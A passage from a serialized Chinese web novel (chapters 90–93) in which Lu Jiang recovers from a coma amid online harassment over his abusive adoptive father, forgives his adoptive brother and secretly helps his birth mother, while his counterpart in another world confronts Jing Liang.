卢绛嘴里仿佛都是消毒水的味道,寡淡苦涩,虽然没胃口但还是接过苹果咬了一口,甜脆多汁,唤醒了味蕾,于是不紧不慢的一口接着一口。 看他很平静的开始吃东西,季文菲终是露出了一丝微笑。 “我昏迷的这两年,有谁来看过我?” 季文菲眉头微蹙,欲言又止。 “没关系,你直说吧。” “你的那个养父边乔来过好几次,不过我让人把他拦下了,他意图要转院治疗,在网上炒了好几次热度,我真的不知道他想干什么。” “所以,在我救了你女儿之后,你已经知道我是谁了?” 季文菲抿了下唇,尴尬道:“说实话,那件事情在网上闹得很大,除非不上网……” “说说你看到的。”卢绛一脸淡然,仿佛在问着别人的事。 季文菲看他坦然的态度,也没再扭捏,直言道:“网上报道的是你为了出国留学威胁你的养父继续供你读书,你养父没答应,你就把你养父告上了法庭说他猥亵未成年。” “你不怕我真是这种人?” 季文菲一脸坚定:“一码归一码,你救了我女儿的命是事实,当时那么紧急,如果不是你冒死扑上去把我女儿推开,只怕(后怕)……拥有这种心性的人,怎么可能会是网友说的忘恩负义,自私自利?” 卢绛真没想到,在这个世界还会有人相信他,站在他这一边替他说话。 “事情不是网上说的那样。” 季文菲亲耳听到他的回答,会心一笑:“我想也是,你那个养父看着斯斯文文,西装革履,没想到……禽兽不如。” “我可以借你的手机上网看看吗?” “这……” “没关系,我不会激动的。” 季文菲将手机解锁,递给了他。 他转醒过来,已经有媒体开始报道,毕竟当时他‘诬告’养父那件事已经变成社会代表性事件,网友称之为‘卢绛事件’。 因这个事件,引申出是否领养的问题,甚至导致准备领养孩子的大批弃养。 他一直想要抗争,已经不单单是为了自己,而是为了那些孤儿院的孩子,能有一个家对于没家的孩子,意义太大了。 被抛弃的人,一生都在渴望爱,好不容易得到那么一丁点的爱,又怕被抛弃,最终自己放弃爱。 卢绛拿过手机翻看着头条热点第一的话题。 #卢绛转醒#。 【每天一问,他怎么还没死啊?】 【画个圈圈诅咒他,这么喜欢干阴间事,就快点下去吧!】 【也不知道走的什么狗屎运,听说救的那个小女孩家里很有钱,一直在vip病房供着呢!】 【边先生好苦,一生做好事,临到头遇到这么个白眼狼。】 【边先生是真正的绅士啊!都被威胁成这样了,还想着要把自己的财产都拿出来,供这个吸血鬼去读书,还是选择了原谅,我好恨!】 【这个性质这么恶劣,他到底什么时候进去啊?这犯法了吧?】 【边先生不起诉,还是想给他机会改过自新,但是这种人没救了!】 【所以真的别乱收养小孩,因为你不知道收养的都是什么基因!】 …… 卢绛锁上手机屏,将手机还给了季文菲,“谢谢。” 季文菲想要安慰他,可那些安慰的话咔在喉咙怎么也没说出口。 卢绛安静的躺下拉上了被子,继续睡觉。 “呃……你想吃什么跟我说,我回头给你带过来?” “随便,你看着来就行。” “我下午要去一趟公司,要不把萌萌留下来陪你?” “不用,让萌萌自己去玩吧,好不容易放暑假,别呆在医院,不是什么好地方。” 季文菲带着萌萌走了,又多请了一个看护照顾他。 卢绛对这个世界的一切已经失去了兴趣,如果还有执念,那就是关于他整个事件的真相。 起诉或再找证据,走寻常路已经不可能翻身了。 边乔现在也算是个有社会影响力的公众人物,又是律师出身,防御得像铁桶,手段利落又阴狠,还占据着道德高地,他只要有动作,就能被网友拿出来嘲讽至少半月。 卢绛侧躺着瞪大着无神的双眼,忽然想到了景凉。 他说过…… 规矩和道德是和有规矩有道德的人讲的,对于那种不讲人性和游戏规则的,只有弱肉强食,比谁狠过谁,他们才知道害怕。 想赢过这种畜生,就得比他还要畜生。 或许,这才是他又穿回来的唯一的意义,有些事情必须要做一个了结。 只有让他亲手划上句点,才能和过去真正的道别。 之后,卢绛在医院躺了半个月才出院,接下来是慢长的复健。 他没地方可去,当季文菲提议让他搬到她镇上的老宅时,卢绛没有拒绝。 说来也巧,这里他来过,在他十四岁那年。 他按着原来的记忆,拄着拐杖在菜市场找到了那个卖鱼的女人,还是原来的摊位,好多年了,她苍老了许多,粗糙的白发已经斑驳。 眼珠发黄,眼白里很多血丝,衣服皱巴巴的不知穿了多少年还没扔,大热头的戴着厚实的塑胶手套,面无表情的利落地杀鱼。 卢绛假装淡定从容的走了过去,不由盯着她看了许久。 女人疑惑的抬眸看了他一眼:“要买鱼?” “嗯,有没有两斤的胖头鱼?” 女人拿起抄网往池子里捞了会儿,很快捞上了一条,“两斤半,要不要?” “要,帮我杀了吧。” 第90章 第90章 身体脏了但灵魂要干净,可却…… 卢绛看着她娴熟的动作, 剃鳞剖肚,腥红的血在砧板流下,三下五除二就把杀好的鱼装进了黑色塑料袋,湿乎的黑色袋子外又套了一层塑料袋, 这才递给了卢绛。 卢绛放了一张整钞在摊位, 女人低头去找钱,抬头时人已经走远了。 她张了张嘴, 没叫他, 把一百块放进了收纳盒子里。 季文菲想得很周到, 在他搬来的第一天就把粮油米面都添好了, 冰箱里有新鲜的鸡蛋和牛奶等生鲜。 卢绛用电饭煲煮了饭,洗了鱼开始做水煮鱼。 鱼汤里放了自己平时喜欢吃的黄豆芽和豆腐,只是饭桌上一个人吃着一大锅鱼,有点寂寞。 空荡荡的屋子很安静, 只有地上拉长的身影与他为伴。 他扒了一大口米饭, 红了眼眶,咀嚼着艰涩往下咽, 压低的声色颤抖沙哑, “凉哥,今天晚上我做了水煮鱼, 味道还不错, 我会好好吃饭, 等我把这边的事情了结, 我就去找你。” 豆大的泪珠滴落, 混和在米饭里被一起吃下去。 他抬手擦了把泪水,故作坚强的继续吃饭。 吃完饭,洗个碗平复了下心情, 电话突然响了,是陌生号码,卢绛一接通,电话那端传来激烈的咒骂声。 “死人渣,以为换了号码我们就找不出来你了吗?!去死啊人渣!因为你孤儿院的那些小孩现在都没有人肯收养,你罪该万死,下地狱去吧!” 卢绛握紧了手机,语气平淡的回道:“会死的,但不是现在,也不会下地狱,所以抱歉,该下地狱的另有其人。” 之后手机每隔几分钟就会有人打电话进来,短信息就没停过,卢绛似乎已经习惯了这些事情,任手机放在一旁调成静音,直到它自动关机。 小镇的晚上真的很安静,连星星也看得比大城市清楚,夏日凉爽的晚风从窗台吹进来很舒服。 他趴在窗台睡了过去,睡梦中他听到有人在轻声地哭泣。 他从黑暗中走出,在灰蒙蒙的病房中,自己浑身插着医疗管子,戴着氧气罩了无生机。 景凉执起他的手递到唇边亲吻,泪珠滴落在手背,他却能感觉到炽烈滚烫的温度。 “阿绛,你醒来好不好?别丢下我一个人,求你了……” 卢绛听得心脏紧绞成一团,他想跑上前告诉景凉躺在病床上的那个人不是自己,他还好好活着。 当他伸出手想要拥抱他时,身体像空气一般虚无穿了过去,他能听到,看到他的悲伤,拼尽了全力,却再也无法触碰最爱的人。 他拼命的喊景凉的名字,歇斯底里,急切又恐慌。 直到他从梦中惊醒,脸上全是泪水,浑身被冷汗浸透。 卢绛瞪大着双眼,怔愣了许久,直到脸上的泪水被风干,后知后觉的意识到刚才不是在做梦,而是他的灵魂跟另一个世界产生了共鸣。 无尽的孤独感如同黑暗中的巨兽,一寸一寸将他吞噬,他浑身发抖将自己缩成了一团,声色沙哑,委屈又无助地低语:“老婆,我想回家。” * 卢绛再次醒来时,已经是下午两点半,睡了六个多小时,依旧觉得疲惫困倦。 他拿过充好电的手机,等待开机,又是漫长恐怖的信息轰炸。 他若无其事的走进洗手间,有条不紊的洗漱,听着信息轰炸顺便吐槽了句:“你们都这么闲吗?这么真情实感的天天私信骂我,有这毅力和信念干什么不成功?” 洗漱完他去附近吃了碗面,镇上生活的信息比较闭塞,都是年纪比较大的,卢绛才得了几天清静。 回去时他买了一袋冰棍,拆了一支坐在沙发里翻看着那些陌生短信,有些看了甚至想笑。 直到其中一条‘友好’的短信乱入其中,让他整张脸严肃紧绷了起来。 【小绛,我打你电话不是没人接就总是占线,你在哪儿呢?现在过得好吗?如果你看到我的信息,请给我回个电话,我很担心你。】 卢绛犹豫了许久,想着这次回来,不就是要和所有人做个了断的吗? 那就见一面吧。 这样想着,卢绛给这个手机号打了过去。 那端等了好一会儿才接听,语气听起来很紧张,嗓音发紧,“小绛,是你吗?” “嗯。” “你在哪呢?” “我们见一面吧。” “好,我们是该见一面!” 约好了地址,卢绛打车赶去了市区。 那人订的是一家私房菜的包间,十分隐蔽。 时隔两年再见,眼前的人显得更加成熟稳重,西装革履风度翩翩。 看到卢绛推门走进包间,男人情绪激动的起身迎了上去,“你的腿……” “小事。”卢绛拄着拐杖越过他,径自挑了餐桌一边坐下。 待服务员上好茶,卢绛才不紧不慢的问他,“你找我是想说什么?” 男人十指紧扣,扭捏了半晌,才鼓起勇气抬头看向他,郑重对他说了声:“对不起。” 卢绛笑了声,有些不可思议:“对不起?你跟我说对不起?” “我知道,我没有资格对你说‘对不起’这三个字,我是个懦夫!我现在也是真的想补偿你,你不是想出国念书吗?两年前错过了没关系,还可以再申请的,以你的成绩,应该没问题,我供你出国继续念书!” 卢绛想发疯,想骂人,但最终还是平静的忍了下来。 见他不说话,程泽野红了眼眶,因隐忍的悲伤身体在发颤,“我知道,这几年你过得很苦,我都知道的……是哥对不起你。” “你不是我哥。” 程泽野呼吸一窒,直到肺部缺氧传来的痛感,才他缓缓呼出这口气,“对,我不配。” 卢绛心口一阵绞痛,用力闭了闭酸涩的双眼,咽下喉间的苦涩。 他被收养的那一年,程泽野二十岁,刚上大学,也是受害者之一。 边乔没有得过手,是因为程泽野一直在替他受着,他让卢绛叫他哥哥。 程泽野四年大学走读也是为了保护他,大学一毕业,程泽野就和女朋友结婚了,女朋友家里很有钱,程泽野能力很强很快得到了老丈人的赏识。 而此时,卢绛满十七岁,跳过了高三,直接申请了国外一所名校被顺利录取。 边乔得知他要逃离,像发了疯想要对他使用暴力,卢绛把他打了一顿,然后报了警。 但是边乔声誉在外,警察自然是不信卢绛的说辞。 边乔向外说他有精神病,以监护人的身份签字把他送进了精神病院。 卢绛在精神病院强制‘治疗’了一年,生不如死,边乔逼他认错,想要驯服他。 为了能从精神病院出去,卢绛不得不假意屈服,隐忍着恶心回到了边乔身边。 两年前,卢绛好不容易收集了边乔的罪证,起诉了边乔。 边乔为了拿到他手里的证据,几次三番找人威胁恐吓他,还扬言要杀了他。 卢绛将手中的证据交给了唯一信任的人——程泽野。 此前这件事情,就已经被社会媒体大肆报道过,开庭那天闹得沸沸扬扬。 程泽野如约来出庭作证,但他指认的却是卢绛。 因为想要出国念名校,威胁养父一年出资三百多万继续供养他。 因为他有精神病,污蔑养父猥亵他。 卢绛长那么大,第一次情绪失控,在法庭上,在所有媒体前,歇斯底里的质问程泽野,为什么啊?你不是我哥吗?! 一夜之间,他成了全民笑话。 网友P他丑图,P他遗照,骂他就是ZZ正确。 所有人对他的认知,是被无尽丑化后的他,也没有人愿意去真正了解事实真相,或者他卢绛到底是个怎样的人。 这是一场网络暴力的狂欢,他仿佛成了一个靶子,一个情绪的宣泄出口,他已经不是一个拥有人权的人。 时至今日,网暴还在继续,而他还活着,但却早已没了信仰和未来。 程泽野仔细打量着他,轻声地带着些疼惜:“你瘦了太多。” “在医院躺了两年,还以为死了,没想到又回到了这个破破烂烂的世界。” “你接下来要怎么办?” 卢绛冲他笑了笑,“你走你的阳关路,我过我的独木桥,你别问。” 程泽野眼眶发红,紧绞在一起的十指,用力到关节发白,“我曾经是真心想要保护好你,也想有一个弟弟,想让你不要像我一样,受到那些伤害,可我最终还是败给了自己的怯懦和骨子里的卑劣,我以前总觉得,身体脏了但灵魂要干净,可却没明白,一直在淤泥里挣扎的人,灵魂早已肮脏透了。” “别说了……” 程泽野长吁了口气,将脸埋进双掌,悲伤与羞愧交织成一张天罗地网,叫他无处可逃,无法安生。 突然间,卢绛对眼前这个人的恨就这么释怀了。 “没关系。” “什么?” 卢绛深吸了口气,嚅了嚅唇,重新说道:“没关系,我接受你的道歉。” “小绛……你肯原谅我?” 卢绛不愿再多说,拄着拐杖起身准备离去。 “你不吃饭了?我点了很多你爱吃的菜,你……” “哥。” “啊?”程泽野不敢相信的瞪大了双眼。 “你不脏,脏的是边乔。还有,谢谢你,那些年保护了我。接下来的路,我会自己走,你想要活着,就一定要好好地活着,要幸福地去爱你所爱。” 说完,卢绛转身大步离开,没再回头,这一走就注定不会有后会之期,从前恩怨种种,到此为止,一笔勾销了。 90-100 第91章 第91章 看来,你真的爱惨了他。…… 程泽野独自坐在包间, 哭得泣不成声,无暇再顾及平日的体面。 卢绛打车回到了小镇子,和昨日傍晚一样,去菜市场买鱼。 他长得本就打眼, 见他第二次来, 女人面上带了点笑容,“昨天那条鱼就吃完了?” “啊……对, 和昨天一样大的胖头鱼, 来一条杀了。” “好呢。” 女人捞起鱼利落杀了, 装袋递给了他。 卢绛正要拿钱, 女人犹豫了会儿,最终拒绝了:“不用了,你昨天给了一百块整钞,我没找你, 你要下次还来买鱼, 也不用再收你钱。” 卢绛没说什么,提了鱼点了下头走了。 不知为何, 女人看着他离开的背影总觉得有些伤感, 没来由的想与他多说几句话,但又太过陌生没什么话题能聊。 小镇的傍晚下起了滂沱大雨, 七月的蒸笼被浇熄的热浪在地面翻腾, 雨雾糊模了视线。 卢绛刚好晚饭做好, 过去关窗, 免得雨漂进来。 将铁拴放下, 他一抬眼就看到卖鱼的女人坚难推着三轮车走在雨幕中,只见她身边跟着一个少年气急败坏的不知道在吼什么。 卢绛想了想,拿了两把伞出门。 他撑着伞走近了才听清楚, 那少年嘴里抱怨的是什么。 “身为你的儿子,简直就是耻辱!连这点要求都不能满足我,为什么要把我带到这个世界受苦?你和王瑞发tm的一个德性,你们根本不爱我,生下我只是为了满足你们大人自己的私欲!” “你到底给不给我钱?天天卖你这些个破鱼,弄得家里到处都是鱼腥味,我衣服上洗都洗不掉的腥味!你知不知道我同学都笑话我?!” 女人表情麻木,全身都被雨淋透了,仿佛根本没听到她儿子在嚷嚷什么。 卢绛心脏紧缩了下,握紧了手里的雨伞,无声越过少年身边将伞递给了女人,又将头顶的伞挪到了她的头顶上,给她挡了挡雨。 女人晦暗的眸子微亮,抬头看向他,干巴的表情突然有了笑容,“是你呀。” “雨太大了,要不进屋去避一下雨?” 女人扭头看了眼旁边的小洋房,“这是你家?” “暂时,是。” “挺好的,谢谢你啊小伙子,就不去你家避雨了,免得把你家弄脏,反正也都淋湿了。” 少年不乐意的上前问了句:“他谁啊?” “顾客。” “妈,你就把钱给我吧!我又不是去干什么坏事?暑假跟朋友一起出去玩,哪能不用钱的?” “那你下半年学费怎么办?” “大不了不念了!” 少年瞅到破旧的收纳盒,眼疾手快的将里面的钱抓了就跑。 女人气极败坏的喊了两声,被大雨吞噬。 卢绛将手里另一把伞塞给了她:“阿姨,这伞你拿着。” 女人尴尬的解释着:“我儿子小时候被宠坏了,让你看了笑话。” 卢绛扯着嘴角笑笑,什么也没说,转身进了屋。 女人目送他离开,心里一阵惆怅,多好的孩子啊,也不知道是谁有这个福气。 * 卢绛孤独的一个人坐在桌前吃饭,吃进嘴里的鱼肉如同嚼蜡一般,难以下咽。 他放下了碗筷,眼眶红红的呆坐了许久。 想要的得不到,得到的不珍惜。不被爱的小心翼翼,被偏爱的有恃无恐。 原来,是所有人都苦,困在自己的囚笼里,而不自知。 次日上午依旧异常闷热,昨晚的雨没起到丝毫作用。 卢绛因为失眠严重,所以最近起得很晚,醒来时已经是上午十一点,屋外传来敲门声。 他洗了把脸,恹恹地走到了院子开门,看到来人的第一眼浑身汗毛直竖,再强的烈日也抵挡不住的寒意袭来。 “怎么是你?” 边乔笑得温和有礼,穿着干净得体,像是个谦谦君子的模样。 “爸爸听说你出院了,过来接你回家。” “你怎么知道我在这?” 边乔掏出手机,打开了一张照片,是他昨天去见程泽野的画面。 “你现在没什么隐私,走哪都有人偷拍,找到这里太容易了。” “你怎么会认为我会跟你回去?” 边乔朝他伸手想触碰他,被卢绛厌恶地躲开。 边乔脸上掩不住的失落,“爸爸只是太喜欢你了,你想想,你长这么大,我对你有过实质性的伤害吗?如果你乖乖的听话,根本不会闹到现在这一步。” 卢绛已经不想跟他有任何争执,变态的思想本就是扭曲的,他有自己的一套世界观和逻辑自洽,不管他说什么都能诡辩。 “我跟你回去,以后呢?” 边乔竟真的一脸认真的说道:“等事情平息了,你想继续念书,爸爸还是会提供你资金去念的,只要你听话,我的一切,以后都是你的!” 惯用的威逼利诱,性格稍微软弱的或许已经妥协了,人是群居动作,与所有人为敌,无家可归的孤独感,会让人软弱失去自我。 可惜,卢绛生来不是软弱的人,他有清醒的自我认知和不可越界的底线。 一次又一次将他摁进泥沼里,只会激发他争斗到底的决心。 “你先回去,这边有些东西需要收拾,等处完,我会自己回去找你的。” 边乔十分意外,曾经宁愿被关进精神病院受电击折磨的人,居然会这么容易答应跟自己回去,这叫他既惊又喜。 “阿绛,你能想通实在太好了,那爸爸在家里等你,你一定要尽快!” 卢绛冰冷的双眸毫无波澜,直到边乔开车离去,他用力甩上院子的门,表情绝决。 回屋后,他拿起手机,给季文菲打了一个电话,那端很快接了,听起来有些忙,周边还有好几个在激烈讨论的声音。 “文菲姐,打扰了。” “小绛,你能主动给姐打电话,姐很高兴,怎么啦?” “晚上我做几个菜,想请你和萌萌吃个饭。” “今天是什么好日子?要不我请客,带你和萌萌去吃顿好的。” “不是什么特别的日子,只是想感谢你和萌萌对我的照顾。” “你快别说这个话,你救了萌萌一命,这点照顾真的不算什么。” 卢绛不由失笑,“那就这么说定了,我晚上等你们过来。” 挂断电话,卢绛随便收拾了些衣物,又从一个老旧的钱包里拿出了一张银行卡,他用油性笔在卡后面写下了银行卡的密码。 这张卡里大概有四万多块钱,是他高中时的奖学金还有假期攒下来的工资,他已经不需要了。 他捏着卡翻转着,神情恍惚。 * 另世,卢绛醒来一个星期后。 他翻着陌生的手机,看着相册里的照片,陷入了沉思。 风景照和人物照持平,拍的都是同一个人,那个曾经和他订婚的omega。 他将那个omega的照片不断放大又复原,疑惑:“他有这么好看吗?他知道你给他拍了这么多照片?看来,你真的爱惨了他。” 卢绛将手机锁进抽屉里,拿过另一部新的,揣进口袋里,点了一支烟抽了口,开车出了门。 深夜十点,景凉最后一次按下那个滚瓜烂熟的手机号码,那端传来无法接通的提示音。 要么是直接挂断了,要么是没电关机了。 群里的消息一直在响,景凉烦躁的点开了帝都omega大群。 【照片.jpg】 【照片.jpg】 【照片.jpg】 【照片.jpg】 …… 【群员:艹艹艹,照片里的人是不是卢绛?】 【群员:是他!包间好暗,他在干嘛?】 【群员:这家伙真的疯了,叫了一群omega在包间里嬉闹,见人就撒钱,包间外还等着一群想挤进包间捡钱的呢!】 【群员:这不是他一惯作风吗?反而这两年的平静才反常啊!】 【群员:那两年姓景的手里是不是拿了他不可告人的秘密,才这么乖巧不出来惹事?】 【群员:吃瓜群众不解,给你们叫本人过来@景。】 【群员:@景你家alpha在外边撒野,出来管管。】 【群员:@景别放他出来啊!这家伙是真疯,帝都又要不安宁咯!】 【群员:哈哈哈,今晚要上一场大戏,哎呀,也不知道当初谁在群里高调秀恩爱,这才多久?】 【群员:alhpa的嘴,骗人的鬼,你见过哪几个alpha长情的?这是腻了,憋不住了也不想装了,出来找激刺了。】 【群员:啧啧,莫名有点心疼景凉呢!】 【景:你还是心疼心疼你自己吧,听说你们王家都要破产了。】 回完后景凉就闭了群消息,拿过车钥匙往照片中的赶去。 因为总是想着卢绛的事情,有好几次在路上出了事故,景凉干脆将车停在路边,强迫自己先冷静。 他不知道卢绛为什么醒来就变了。 一个月前他从楼顶掉落湖中,陈万川当场死亡,他也是死里逃生,足足昏迷了五天才醒来。 他醒来出院那天没有打电话通知他,回到卢家一个星期,不见他,也不接他的电话,他好几次拉下面子去卢家想见他,又像两年前一样,他怎么都不肯出来,对他闭门不见。 究竟是为什么? 是因为有不得己的苦衷,还是真如他们所说,玩腻了,不装了。 不管如何,他要亲耳听到卢绛的答案。 景凉趴在方向盘上无声悲伤了许久,才重新启动车子引擎,赶去会所。 群里说的一点都不夸张,包间外把几米长的走廊都堵住了,所有人脸上抑制不住的兴奋与期待,大声的讨论着一点也不避讳。 “我也好想进去开开眼界!听说钞票一把一把的撒,我的妈呀!” “肤浅,我单纯就是欣赏卢少这个人。” “你欣赏他什么?钞能力吗?” “他长得帅啊!” “我一年前在商场远远看过他一眼,是真的超帅的,气质也贼好。” …… 景凉直接被气笑,看着水泄不通的走廊,根本挤不进去。 他深吸了口气,压下心中的悲愤,独自在大厅的沙发坐下,盯着墙上的时针一分一秒的流逝,天快要亮了,他和那么多omega在里面都干了些什么? 总不会只是聊天喝酒吧? 以前那样单纯与真挚都是装的吗?就只是因为腻了,所以不想装了? 第92章 第92章 我要再年轻十岁,肯定倒追你…… 思绪混乱之际, 景凉听到了一阵喧闹声从电梯口传来,只见卢绛被一大群人簇拥着走出电梯,他似乎喝醉了,被两个omega搀扶着向前。 景凉寒气袭人, 表情冷峻的起身朝他走去。 “疯够了吗?疯够了就回家吧。” 景凉想从两个omega手中将他接过来, 谁知被那两个不识趣的omega给推开。 “你谁呀?上来就装熟,卢少是要跟我们走的, 对吧卢少?” “嗯?”卢绛眯起眼, 醉得迷糊, 想看清楚来人是谁。 景凉转身从前台那边要了一杯凉水, 劈头盖脸的朝他泼了上去,“清醒了吗?” 卢绛应激地推开身边的omega,甩了甩脸上的水,正要发怒, 当看清来人时, 喷涌而来的气焰一下子被掐灭。 “是你啊。” 景凉心脏紧绞着生疼,卢绛那一副放荡不羁满不在乎的表情, 一下一下刺痛着他的神经。 原以为他至少会有个解释, 会心虚,现在看来他纯粹是想多了。 身边的omega又继续作妖。 “卢少, 他这人好粗鲁, 刚才泼你一身水, 还溅到了我们身上。” “他是谁呀卢少?怎么这么大的气性?” 就在所有人都等着看景凉的笑话时, 卢绛却抓过他的手臂, 走出了人群。 留下一片唏嘘声。 “你俩是故意的还是真没眼力见?那是人家正宫老婆!” …… 卢绛将他带到一个空包间,里面很昏暗没有光,看不清彼此的脸, 却让景凉暗舒了口气。 “为什么?给我一个解释。”景凉声音破碎,所有的智几乎要被悲伤吞噬,“就算是厌了腻了,也应该好好坐下来谈谈不是吗?” 卢绛将包间里的灯打开,扣过他的脸让他直视自己。 “你仔细瞧瞧,我是谁?” 景凉望向那双深邃黑色的双眸,却再也找不到他所熟悉的温柔与干净。 “你是第一人格,以前的那个卢绛?” 卢绛甩开了他,嘲讽笑了声:“什么第一人格第二人格,他应该和你解释过,我们压根就是两个灵魂,只是你自己一直不相信。” 他在沙发坐下,熟稔的点了一支烟。 景凉认识的卢绛从不抽烟,而眼前这个人,明明是同一张皮囊,却让他真正意识到两个人并不相像。 卢绛吐出一口烟雾,耷拉着眼皮看他,邪性中透着几分慵懒:“他还在的时候,我们做过一个约定。” 景凉浑身冰冷,极度压抑悲伤后思维也变得很迟钝:“什么约定?” “他说,如果有一天他离开了这个世界,就算不喜欢你,也别让你伤心难过。” 温热的泪珠淌过脸颊,景凉的知觉逐渐回笼,那才是他熟悉的卢绛啊! “首先,我真的不喜欢你,绝不可能代替他跟你在一起,所以你最好死了这条心,其次,我和你是陌生人,以后没事不要联系,也别见面。最后,我不知道他什么时候回来,一切听天由命。” 卢绛伸了一个懒腰,站起身要走:“该说的我已经说完了,所以之后我的所做所为只代表我自己,跟他无关,跟你也无关。” 听完这些,景凉反而很快冷静了下来,也没有像之前那样难过了,或许他已经疯了,宁可相信那是两个不相干的灵魂。 * 卢绛开车去了他以前常去的那家茶餐厅吃了上午茶,回了卢家别墅。 才刚走进院子便被眼前的一幕刺痛了眼睛。 只见黎花正陪他那个所谓的大哥在院子里遛狗,说说笑笑的模样,只存在他小时候的记忆里。 从什么时候开始,她对着他,再也不会这样笑了? 原来那么早,她就已经不爱他了。 杀了他那么多次,他还没有死,她一定很失望吧? 卢绛下意识摸下了脖子上被针扎到了地方,到现在那种濒死的感觉还很强烈。 可是怎么办呢?越是没有的东西,越是想要。 发过疯,撒过野,都没有用,曾经爱他如命的妈妈再也不爱他。 他终于认清了现实,像历尽风霜与欺凌,耷拉着脑袋夹着尾巴,企图唤醒给予者的一点良知与温暖。 “妈……妈。”世界上最温暖的称呼,被他磕巴的叫了出来。 黎花满是恨意的睨了他一眼,视若无物,眼底的厌恶几乎无所遁形。 卢绛摒着呼吸僵在原地,难过的情绪像是翻涌的海浪冲刷着他。 卢羡微偏着头打量他,似乎察觉到了他的改变,满是疑惑的跟着走开了。 直到他们走远,卢绛才喘了口气,他回到自己的卧室锁上门,从床底下扒开了那只密码箱,却发现里面东西被人动过,连日记本也不见了。 像有有某种感应,卢绛很快找到了黑色的背包,打开一看,日记本果然在里面。 他盘腿坐在床上,翻看着日记本,看着看着不由笑了。 这个傻子居然还对他写的日记留言。 在这个世界他谁也不信,但他的鼓励与善意,卢绛是信的。 后面日记续写了,卢绛躺下身慢慢翻看起来。 【原谅我冒昧的决定,我还是想替你去看看她,那个十月怀胎把你生下来的母亲。】 【看完回来了,她很漂亮。】 其实早在三年前,卢绛就去看过何今月,悄悄的,远远的看过几眼。 【和凉哥在一起很开心。】 【和凉哥在一起很幸福。】 【和凉哥呆在一块做什么都很充实。】 【希望永远和凉哥在一起,再也不分开。】 …… 【妈妈走了,你会难过吗?还是会的吧。从我有记忆开始,我就知道我是被父母抛弃的孩子,好长好长时间我想不明白,我到底哪里不好,为什么他们都不要我?但遇到凉哥之后,我就和自己和解了,我希望你也一样,有一天会遇到一个真心待你的人,和过去和解。】 【转学成功,开心,以后上学也能天天看到凉哥了。】 【怎么才能证明我没有精神病?凉哥不相信我,我好难过。】 【自从意识到你的存在,不知道为什么,我总有一种强烈的感觉,我会离开这里,如果我真有一天会离开,在这个世界的我,能不能不要让他伤心?】 卢绛看完日记,心情久久无法平静。 他一时不知道是该心疼那个卢绛,还是替他庆幸。 如果注定要失去,还不如一开始不要,他也不想再纠结父母爱不爱他,只是他放不下。 小时候总觉得那些奢侈品有足够的钱就能买到。 长大了才发现,人与人之间的感情才是真正的奢侈品。 芜杂浮躁的世界,哪有那么多爱不爱的。 卢绛想了想,拧开钢笔翻开日记本新的一页写下:【回来吧,这里有你爱的人。】 想要的得不到,那就什么都不要了吧! 卢绛疲倦的闭上了双眼,放弃抵抗与挣扎。 * 傍晚卢绛又去了菜市场买了一条鱼。 女人将卷好的伞递给了他,脸上再也不是那种麻木的表情,望着他时带着温柔慈爱的笑意,“昨天晚上谢谢你的伞。” “你儿子……” 女人轻叹了口气,又摇摇头:“王卓那孩子挺聪明的,就是没放在正道上,根不好,跟他爸有样学样。” 卢绛真想问问她,为什么当年要生下他,为什么生下他又不要他? 话到嘴边却什么也问不出口。 见女人拿起抄网去捞鱼,卢绛突然说道:“捞一条大的,今晚有客人。” “好,阿姨给你捞条大的,不收你钱的。” 卢绛笑笑没说话,趁他捞鱼的空档,从口袋里拿出那张早已准备的银行卡,放到了摊位不起眼的角落。 接过杀好的鱼,卢绛说道:“阿姨,希望你以后能过得快乐幸福,为自己而活。” 季文菲带萌萌过来时,看到那一桌子菜,都惊呆了,“我的天哪,你这么会做饭?” “不难,有些是原本就会做,有几个菜是照着网上学的。” “哥哥你好厉害!” “要叫叔叔。”卢绛摸着她的头纠正她。 萌萌鼓起腮帮子就是不改口。 季文菲抿唇笑了声,将带来的果酒放到了桌上,“要不要喝点?度数很低的。” 吃完饭,卢绛微薰,靠在椅子上闭了闭眼没有说话,萌萌已经去沙发那边看动画片了。 门外有人按门铃,季文菲径自起身,却听到卢绛说道:“如果是来找我的,你就说我不在,如果她要给你银行卡转交,你就拒绝她。” “哦……好。”季文菲疑惑的回头看了他一眼,出去开门。 是个满身带着鱼腥味的中年妇女,年纪也没很大,但是被岁月磋磨得不成样子。 “请问,那个高个子长得挺帅的小伙子他在吗?他把这个银行卡落我摊位上了,我来还给他。” “呃,他不在欸,这个卡我也不确定是不是他的,还是得他亲自确认,万一明儿有别人来找卡呢?” 女人想了想,“好吧,那我明天亲自给他。” 季文菲回到屋内,只见卢绛拿了一条薄毯给萌萌盖在了小肚子上,调小了电视机音量。 橘色的晚霞斑驳洒下,照映着他英俊又温柔的轮廓,很难让人不动心思。 “萌萌睡着了。” 季文菲盯着他调笑了一句:“我要再年轻十岁,肯定倒追你。” 面对她的善意与倾慕,卢绛显得局促又腼腆,不知该做何反应。 “去院子里坐坐?” “好。” 彼此都很默契不问原由不问过去,只是静静的坐着感受晚风的轻抚。 “姐,我明早就会搬走。” 季文菲并不意外,从一开始她就能感觉到,他迟早会离开,他不属于这里。 “那你要去哪里?” 卢绛默了许久,伤感到仿佛一碰就会碎,“去我想去的地方。” 季文菲的心脏莫名紧揪了起来,“你……别想不开呀,如果你需要什么帮助,就跟姐说,姐能帮你。” 第93章 第93章 如果你们想续写,一定要给我…… 卢绛却是一笑, “没有想不开,我是觉得,如果身处黑暗迷雾,总得有一个人要去点燃第一个火炬, 将之驱散, 让后来者看清前路和方向。” 季文菲知道他说的是什么,除了心疼之余, 却又无能为力:“你改变不了这个世界和人心, 不如换一个环境生活呢?逃避虽然解决不了问题, 但能缓冲矛盾。” 卢绛认真的想了许久, 终是摇摇头,“你不必替我担心,我很清楚的知道自己在做什么,这些日子非常谢谢你的照顾。” 季文菲红了眼眶:“都说不用谢啦, 你是萌萌的救命恩人, 我再怎么照顾你,你也受得起。” 卢绛并不这样认为, 道德这种东西因人而异, 她感恩,是因为她善良, 如果她不想回报这份救命之恩, 他也无可奈何。 况且, 他去救萌萌的那一瞬间, 就已经将自己的生死度外。 季文菲忍不住问了句:“今天傍晚那个大姐是……” 卢绛默了会儿, 一脸凝重。 “啊,你不想说可以不说,是我多问了。” “没有, 没什么不好说的,她是我的生母,二十年前抛弃了我,十几岁的时候被别的小孩欺负,就悄悄过来找她想要倾诉委屈。” “那为什么没有相认?” “我看着她,过得很辛苦,整个人被生活磋磨得很麻木,她应该没有多余的爱给我。” “你不恨她?” “恨也是需要感情的,其实我也没有那么浓烈的感情,后来唯一的想法就是好好念书,将来能考上好的大学,用自己学到的东西活下去。” 